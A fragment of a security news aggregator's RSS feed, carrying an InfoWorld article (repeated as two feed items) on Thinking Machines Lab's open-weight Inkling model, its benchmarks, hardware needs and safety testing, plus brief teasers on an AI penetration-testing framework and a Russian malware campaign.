<link>https://tsecurity.de/de/3673289/it-security-nachrichten/new-ai-penetration-testing-framework-covers-prompt-injection-data-poisoning-and-agentic-tool-misuse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673289/it-security-nachrichten/new-ai-penetration-testing-framework-covers-prompt-injection-data-poisoning-and-agentic-tool-misuse/</guid>
<pubDate>Thu, 16 Jul 2026 13:40:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Security teams are increasingly deploying large language models, retrieval-augmented generation platforms, autonomous agents, and AI copilots inside business applications. However, many organizations still assess these systems using conventional penetration testing methods designed for web servers, APIs, and endpoints. A new AI penetration testing framework aims to close that gap by giving security researchers a structured […]</p>
<p>The post <a href="https://cyberpress.org/ai-pentesting-framework-debuts/">New AI Penetration Testing Framework Covers Prompt Injection, Data Poisoning, and Agentic Tool Misuse</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thinking Machines Lab offers enterprises a US alternative in open-weight AI]]></title>
<description><![CDATA[Thinking Machines Lab, the San Francisco startup founded by former OpenAI CTO Mira Murati, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where Chinese developers produce several leading coding and reasoning models.
...]]></description>
<link>https://tsecurity.de/de/3673263/it-nachrichten/thinking-machines-lab-offers-enterprises-a-us-alternative-in-open-weight-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673263/it-nachrichten/thinking-machines-lab-offers-enterprises-a-us-alternative-in-open-weight-ai/</guid>
<pubDate>Thu, 16 Jul 2026 13:33:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Thinking Machines Lab, the San Francisco startup founded by former OpenAI <a href="https://www.computerworld.com/article/3829004/ex-openai-cto-mira-murati-launches-ai-startup-recruits-top-talent-from-rivals.html" target="_blank">CTO Mira Murati</a>, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where <a href="https://www.computerworld.com/article/4042964/chinas-deepseek-launches-v3-1-raising-stakes-for-enterprise-ai-adoption.html" target="_blank">Chinese developers</a> produce several leading coding and reasoning models.</p>



<p class="wp-block-paragraph">Inkling uses a mixture-of-experts architecture with 975 billion total parameters, of which 41 billion are active during processing. It supports a context window of up to 1 million tokens and was pretrained on 45 trillion tokens spanning text, images, audio, and video. Thinking Machines said it also trained the model for coding, tool use, and multimodal tasks.</p>



<p class="wp-block-paragraph">The release follows the October 2025 launch of Tinker, Thinking Machines’ first product and an API-based platform for <a href="https://www.infoworld.com/article/3486375/finding-the-right-large-language-model-for-your-needs.html">customizing AI models</a>. Developers can fine-tune Inkling through the platform.</p>



<p class="wp-block-paragraph">In a June 2026 assessment, AI model routing platform <a href="https://openrouter.ai/blog/insights/the-open-weight-models-that-matter-june-2026/" target="_blank" rel="noreferrer noopener">OpenRouter</a> highlighted DeepSeek V4 Flash, GLM 5.2, MiniMax M3, and Nvidia Nemotron 3 Ultra as four notable open-weight models. Nemotron was the only US-developed model in the group.</p>



<h2 class="wp-block-heading">Performance and developer access</h2>



<p class="wp-block-paragraph">Thinking Machines Lab’s benchmark table shows mixed results. Inkling scored 77.6% on SWE-Bench Verified, behind DeepSeek V4 Pro and GLM 5.2 but ahead of Nvidia Nemotron 3 Ultra. It also recorded 74.1% on MCP Atlas, 77.1% on BrowseComp with context management, and 79.8% on IFBench.</p>



<p class="wp-block-paragraph">Thinking Machines said Inkling’s result used a bash-only harness, while the comparison figures were reported by the competing models’ developers.</p>



<p class="wp-block-paragraph">The model includes a reasoning-effort setting that developers can adjust from 0.2 to 0.99. Thinking Machines said the setting allows users to balance performance against the number of generated tokens. In the company’s testing, Inkling matched Nemotron 3 Ultra’s Terminal Bench 2.1 score while generating about one-third as many tokens.</p>



<p class="wp-block-paragraph">Developers can fine-tune Inkling through Tinker using context lengths of 64,000 or 256,000 tokens and test it through the Inkling Playground. The model is available through APIs from Together AI, Fireworks, Modal, Databricks, and Baseten. It is also supported by inference software, including SGLang, vLLM, TokenSpeed, llama.cpp, and Hugging Face Transformers.</p>



<p class="wp-block-paragraph">Inkling’s full weights are available on Hugging Face as the original checkpoint and as a quantized NVFP4 checkpoint. Thinking Machines also previewed Inkling-Small, which has 276 billion total parameters and 12 billion active parameters. The company said it would release the smaller model’s full weights after completing testing.</p>



<h2 class="wp-block-heading">Enterprise impact</h2>



<p class="wp-block-paragraph">Inkling’s differentiation lies in its open weights, multimodal capabilities, controllable reasoning, and integration with Tinker, rather than benchmark leadership, according to <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p class="wp-block-paragraph">“Enterprises are most likely to benefit in workloads where domain adaptation matters more than generic model performance, including knowledge-intensive copilots, multimodal customer service, document understanding, operational workflow automation, and agentic tasks that require organization-specific data, policies, and processes,” Mahapatra said.  </p>



<p class="wp-block-paragraph">Inkling’s US origin could also influence adoption among Western enterprises, according to <a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh</a> Jain, CEO of Pareekh Consulting. He said many Western organizations face regulatory or procurement barriers when considering Chinese-developed AI models.</p>



<p class="wp-block-paragraph">“Inkling gives those organizations a US-developed open-weight option that they can deploy on their own infrastructure,” Jain said.</p>



<p class="wp-block-paragraph">However, the benefits will need to be weighed against the cost of deploying the full model.</p>



<p class="wp-block-paragraph">Running Inkling on private infrastructure requires a GPU cluster with at least 2 TB of aggregated VRAM for the BF16 checkpoint, according to the <a href="https://thinkingmachines.ai/model-card/inkling/" target="_blank" rel="noreferrer noopener">model card</a>. Thinking Machines lists configurations of eight Nvidia B300 GPUs or 16 H200 GPUs. A quantized NVFP4 checkpoint lowers the requirement to at least 600 GB and can run on four B300 GPUs or eight H200 GPUs.</p>



<p class="wp-block-paragraph">“Because Inkling is a massive model with 975 billion total parameters, running the full model still requires significant GPU infrastructure, making closed-model APIs more economical for many organizations,” Jain said.</p>



<p class="wp-block-paragraph">Jain said Inkling-Small may be a more feasible option for many enterprises because it could reduce infrastructure costs and latency while retaining useful performance across key workloads.</p>



<h2 class="wp-block-heading">Safety and governance</h2>



<p class="wp-block-paragraph">Thinking Machines said it trained Inkling for calibration, instruction following, and resistance to censorship. The company said the model showed “strong patterns of censorship non-compliance” when evaluated by Cognition on its Propaganda and Censorship Eval.</p>



<p class="wp-block-paragraph">Inkling scored 98.6% on StrongREJECT, which Thinking Machines described as a test of whether models refuse unambiguous harmful requests.</p>



<p class="wp-block-paragraph">The model’s safety behavior should be retested after an enterprise customizes it, according to Jain. “Model fine-tuning can weaken safety filters, so companies should retest safety after customizing the model rather than assuming it stays safe,” Jain said.</p>



<p class="wp-block-paragraph">He added that self-hosted and modified versions could diverge from Thinking Machines’ official model over time without receiving automatic updates.</p>



<p class="wp-block-paragraph">“CIOs need to ensure every AI agent action is logged, auditable, and governed by human approval for high-risk tasks,” Jain said.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.infoworld.com/article/4197743/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thinking Machines offers enterprises a US alternative in open-weight AI]]></title>
<description><![CDATA[Thinking Machines Lab, the San Francisco startup founded by former OpenAI CTO Mira Murati, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where Chinese developers produce several leading coding and reasoning models.
...]]></description>
<link>https://tsecurity.de/de/3673185/ai-nachrichten/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673185/ai-nachrichten/thinking-machines-offers-enterprises-a-us-alternative-in-open-weight-ai/</guid>
<pubDate>Thu, 16 Jul 2026 13:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Thinking Machines Lab, the San Francisco startup founded by former OpenAI <a href="https://www.computerworld.com/article/3829004/ex-openai-cto-mira-murati-launches-ai-startup-recruits-top-talent-from-rivals.html" target="_blank">CTO Mira Murati</a>, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where <a href="https://www.computerworld.com/article/4042964/chinas-deepseek-launches-v3-1-raising-stakes-for-enterprise-ai-adoption.html" target="_blank">Chinese developers</a> produce several leading coding and reasoning models.</p>



<p class="wp-block-paragraph">Inkling uses a mixture-of-experts architecture with 975 billion total parameters, of which 41 billion are active during processing. It supports a context window of up to 1 million tokens and was pretrained on 45 trillion tokens spanning text, images, audio, and video. Thinking Machines said it also trained the model for coding, tool use, and multimodal tasks.</p>



<p class="wp-block-paragraph">The release follows the October 2025 launch of Tinker, Thinking Machines’ first product and an API-based platform for <a href="https://www.infoworld.com/article/3486375/finding-the-right-large-language-model-for-your-needs.html">customizing AI models</a>. Developers can fine-tune Inkling through the platform.</p>



<p class="wp-block-paragraph">In a June 2026 assessment, AI model routing platform <a href="https://openrouter.ai/blog/insights/the-open-weight-models-that-matter-june-2026/" target="_blank" rel="noreferrer noopener">OpenRouter</a> highlighted DeepSeek V4 Flash, GLM 5.2, MiniMax M3, and Nvidia Nemotron 3 Ultra as four notable open-weight models. Nemotron was the only US-developed model in the group.</p>



<h2 class="wp-block-heading">Performance and developer access</h2>



<p class="wp-block-paragraph">Thinking Machines Lab’s benchmark table shows mixed results. Inkling scored 77.6% on SWE-Bench Verified, behind DeepSeek V4 Pro and GLM 5.2 but ahead of Nvidia Nemotron 3 Ultra. It also recorded 74.1% on MCP Atlas, 77.1% on BrowseComp with context management, and 79.8% on IFBench.</p>



<p class="wp-block-paragraph">Thinking Machines said Inkling’s result used a bash-only harness, while the comparison figures were reported by the competing models’ developers.</p>



<p class="wp-block-paragraph">The model includes a reasoning-effort setting that developers can adjust from 0.2 to 0.99. Thinking Machines said the setting allows users to balance performance against the number of generated tokens. In the company’s testing, Inkling matched Nemotron 3 Ultra’s Terminal Bench 2.1 score while generating about one-third as many tokens.</p>



<p class="wp-block-paragraph">Developers can fine-tune Inkling through Tinker using context lengths of 64,000 or 256,000 tokens and test it through the Inkling Playground. The model is available through APIs from Together AI, Fireworks, Modal, Databricks, and Baseten. It is also supported by inference software, including SGLang, vLLM, TokenSpeed, llama.cpp, and Hugging Face Transformers.</p>



<p class="wp-block-paragraph">Inkling’s full weights are available on Hugging Face as the original checkpoint and as a quantized NVFP4 checkpoint. Thinking Machines also previewed Inkling-Small, which has 276 billion total parameters and 12 billion active parameters. The company said it would release the smaller model’s full weights after completing testing.</p>



<h2 class="wp-block-heading">Enterprise impact</h2>



<p class="wp-block-paragraph">Inkling’s differentiation lies in its open weights, multimodal capabilities, controllable reasoning, and integration with Tinker, rather than benchmark leadership, according to <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester.</p>



<p class="wp-block-paragraph">“Enterprises are most likely to benefit in workloads where domain adaptation matters more than generic model performance, including knowledge-intensive copilots, multimodal customer service, document understanding, operational workflow automation, and agentic tasks that require organization-specific data, policies, and processes,” Mahapatra said.  </p>



<p class="wp-block-paragraph">Inkling’s US origin could also influence adoption among Western enterprises, according to <a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh</a> Jain, CEO of Pareekh Consulting. He said many Western organizations face regulatory or procurement barriers when considering Chinese-developed AI models.</p>



<p class="wp-block-paragraph">“Inkling gives those organizations a US-developed open-weight option that they can deploy on their own infrastructure,” Jain said.</p>



<p class="wp-block-paragraph">However, the benefits will need to be weighed against the cost of deploying the full model.</p>



<p class="wp-block-paragraph">Running Inkling on private infrastructure requires a GPU cluster with at least 2 TB of aggregated VRAM for the BF16 checkpoint, according to the <a href="https://thinkingmachines.ai/model-card/inkling/" target="_blank" rel="noreferrer noopener">model card</a>. Thinking Machines lists configurations of eight Nvidia B300 GPUs or 16 H200 GPUs. A quantized NVFP4 checkpoint lowers the requirement to at least 600 GB and can run on four B300 GPUs or eight H200 GPUs.</p>



<p class="wp-block-paragraph">“Because Inkling is a massive model with 975 billion total parameters, running the full model still requires significant GPU infrastructure, making closed-model APIs more economical for many organizations,” Jain said.</p>



<p class="wp-block-paragraph">Jain said Inkling-Small may be a more feasible option for many enterprises because it could reduce infrastructure costs and latency while retaining useful performance across key workloads.</p>



<h2 class="wp-block-heading">Safety and governance</h2>



<p class="wp-block-paragraph">Thinking Machines said it trained Inkling for calibration, instruction following, and resistance to censorship. The company said the model showed “strong patterns of censorship non-compliance” when evaluated by Cognition on its Propaganda and Censorship Eval.</p>



<p class="wp-block-paragraph">Inkling scored 98.6% on StrongREJECT, which Thinking Machines described as a test of whether models refuse unambiguous harmful requests.</p>



<p class="wp-block-paragraph">The model’s safety behavior should be retested after an enterprise customizes it, according to Jain. “Model fine-tuning can weaken safety filters, so companies should retest safety after customizing the model rather than assuming it stays safe,” Jain said.</p>



<p class="wp-block-paragraph">He added that self-hosted and modified versions could diverge from Thinking Machines’ official model over time without receiving automatic updates.</p>



<p class="wp-block-paragraph">“CIOs need to ensure every AI agent action is logged, auditable, and governed by human approval for high-risk tasks,” Jain said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian hackers trojanize WebEx, Zoom apps to push Starland malware]]></title>
<description><![CDATA[A financially motivated Russian threat actor tracked as UAT-11795 is using trojanized software to steal credentials and cryptocurrency by deploying a new backdoor called Starland RAT. [...]]]></description>
<link>https://tsecurity.de/de/3673079/it-security-nachrichten/russian-hackers-trojanize-webex-zoom-apps-to-push-starland-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673079/it-security-nachrichten/russian-hackers-trojanize-webex-zoom-apps-to-push-starland-malware/</guid>
<pubDate>Thu, 16 Jul 2026 12:23:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A financially motivated Russian threat actor tracked as UAT-11795 is using trojanized software to steal credentials and cryptocurrency by deploying a new backdoor called Starland RAT. [...]]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,61ms -->